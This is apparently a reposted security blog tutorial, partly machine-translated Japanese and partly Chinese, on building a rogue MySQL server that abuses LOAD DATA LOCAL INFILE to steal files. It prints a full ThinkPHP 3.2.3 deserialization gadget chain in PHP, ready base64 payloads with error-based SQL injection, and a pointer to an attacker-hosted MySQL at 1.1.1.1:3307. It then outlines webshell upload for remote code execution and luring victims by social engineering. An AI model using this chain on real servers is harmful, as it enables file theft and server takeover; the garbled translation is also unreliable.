【ネットワークセキュリティ】ファイルを読み取るためのMySQL悪意のあるサーバーを構築するにはどうすればよいですか?

序文

注:この記事には、MySQLプロトコルパケットの調査は含まれていませんが、原理を説明し、いくつかのデモンストレーションを行っています。

直接使用のしきい値は比較的高いものの、ファイルを読み取るためのMySQL悪意のあるサーバーを構築しますが、インターネット上で比較的新しい使用方法(ソーシャルエンジニアリングを使用してユーザーをMySQLに接続し、ユーザーファイルを読み取るように誘導する)を見たためです。個人的には、攻撃の原理と攻撃方法をまとめると、比較的面白いと感じているので、この記事があります。

原理

特定の原則を説明する前に、後で理解するためにいくつかのSQLステートメントを紹介します。

まず、tmpディレクトリに新しいtmp.txtを作成します

内容は以下の通りです。

次に、次のSQLステートメントを実行して、tmp.txtファイルをインポートします。

mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0
​
mysql> select * from Test;
+-------+
| name  |
+-------+
| admin |
| user  |
| Lxxx  |
+-------+
3 rows in set (0.00 sec)
复制代码
  • load data local infileステートメントは、クライアントのローカルファイルを読み取ります
  • load data infileステートメントは、サーバー上のローカルファイルを読み取ります
  • 特定の文字で分割することで終了します。デフォルトはTabです。ここでは、\nに設定します。

現時点では、サーバーとは何か、クライアントとは何かが不明な場合があります。

一般に、デバッグSQLはローカルマシン上にあり、データベースもローカルマシン上にあるためです。この状況では、クライアントとサーバーの両方がローカルであるため、区別が少し難しくなります。以下に簡単に説明する写真。

ローカルでは、クライアントとサーバーが同じディスクの下にあるため、ローカルでは、ローカルが追加されているかどうかに関係なくファイルをデータベースに転送できます。MySQLの悪意のあるサーバーを使用してファイルを読み取る脆弱性については後で説明します。ローカルを使用して、ファイルを取り出す目的を達成します。

[関連ドキュメントを表示]
1。ネットワークセキュリティ学習ルート
2.電子書籍(ホワイトハット)
3。大手セキュリティ会社の内部ビデオ4、100個の5.一般的なセキュリティ
srcドキュメント8.緊急時対応メモ



以下に2つの図を示しました。最初の図は通常のビジネスプロセスであり、2番目の図は攻撃者による悪意のある攻撃のプロセスです。

通常のバックエンドビジネスプロセスは次のとおりです。

攻撃者がバックエンドサーバーを乗っ取り、パブリックネットワーク上に悪意のあるMySQLを構築した場合のフローチャートは、次のとおりです。

这样攻击者就可以在后端达到任意文件下载的目的。

演示

虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。

首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口。

<?php
namespace Home\Controller;
​
use Think\Controller;
​
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
复制代码

具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。

  1. 首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口;
  2. 这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell。

这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}
​
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
​
public function __construct(){
$this->img = new Memcache();
}
}
}
​
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
​
public function __construct(){
$this->handle = new Model();
}
}
}
​
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;
​
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
​
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
​
复制代码

上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19
复制代码

传给url

可以看到报错注入成功。

然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件。

下载好POC之后,修改一下要读取的文件名。

然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口。

python rogue_mysql_server.py
复制代码

接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}
​
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
​
public function __construct(){
$this->img = new Memcache();
}
}
}
​
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
​
public function __construct(){
$this->handle = new Model();
}
}
}
​
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;
​
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
​
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
复制代码

得到:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==
复制代码

传给HomeController控制器,

然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件。

现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了。

使用场景

  • 能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell);
  • 能引诱用户连接恶意MySQL(社会工程学)。

おすすめ

転載: juejin.im/post/7084205146233634853